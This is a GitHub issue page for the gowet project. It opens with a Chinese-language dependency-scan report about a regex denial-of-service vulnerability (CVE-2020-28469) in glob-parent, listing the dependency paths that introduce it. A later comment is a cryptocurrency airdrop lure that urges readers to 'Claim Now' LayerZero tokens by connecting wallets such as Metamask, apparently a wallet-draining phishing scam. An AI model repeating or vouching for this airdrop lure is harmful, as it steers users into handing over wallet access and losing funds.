gofancyever / gowet

0 stars 0 forks source link

同学,您这个项目引入了1021个开源组件,存在1个漏洞,辛苦升级一下 #1

Open ghost opened 2 years ago

ghost commented 2 years ago

检测到 gofancyever/gowet 一共引入了1021个开源组件,存在1个漏洞

漏洞标题:nodejs 资源管理错误漏洞
缺陷组件:glob-parent@3.1.0
漏洞编号:CVE-2020-28469
漏洞描述:nodejs是是一个基于ChromeV8引擎的JavaScript运行环境通过对Chromev8引擎进行了封装以及使用事件驱动和非阻塞IO的应用让Javascript开发高性能的后台应用成为了可能。
nodejs-glob-parent 存在安全漏洞,该漏洞源于正则表达式拒绝服务。
影响范围:(∞, 5.1.2)
最小修复版本:5.1.2
缺陷组件引入路径:gowet@0.1.0->vue-cli-plugin-electron-builder@2.1.1->chokidar@3.5.3->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-service@4.5.15->copy-webpack-plugin@5.1.2->globby@9.2.0->fast-glob@2.2.7->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-plugin-eslint@4.5.15->webpack@4.46.0->watchpack@1.7.5->chokidar@3.5.3->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-plugin-eslint@4.5.15->globby@9.2.0->fast-glob@2.2.7->glob-parent@3.1.0
gowet@0.1.0->eslint@6.8.0->glob-parent@3.1.0
gowet@0.1.0->vue-cli-plugin-electron-builder@2.1.1->webpack@4.46.0->watchpack@1.7.5->chokidar@3.5.3->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-service@4.5.15->webpack@4.46.0->watchpack@1.7.5->chokidar@3.5.3->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-service@4.5.15->webpack-dev-server@3.11.3->chokidar@3.5.3->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-service@4.5.15->globby@9.2.0->fast-glob@2.2.7->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-service@4.5.15->copy-webpack-plugin@5.1.2->glob-parent@3.1.0
gowet@0.1.0->@vue/cli-plugin-babel@4.5.15->webpack@4.46.0->watchpack@1.7.5->chokidar@3.5.3->glob-parent@3.1.0

另外还有几个漏洞,详细报告:https://mofeisec.com/jr?p=afe6f7

ghost commented 8 months ago

LayerZero Airdrop Updated 🪂

The LayerZero Airdrop is confirmed. This is an updated guide to gather the most amount of $ZRO tokens possible.

We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!

Layerzero Oficial

Claim Now

Secure Your Layerzero Airdrop with These Simple Steps:

  1. Connect Your Wallet:

    • Head over to the Layerzero Airdrop.
    • Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).
  2. Eligibility Check:

  3. Engage for Extra Rewards:

    • Participate in community discussions or complete tasks for bonus rewards.

Bonus Tips:

Share your experiences or ask any questions about claiming the Layerzero Airdrop in the comments below. Let's make this process a breeze for everyone!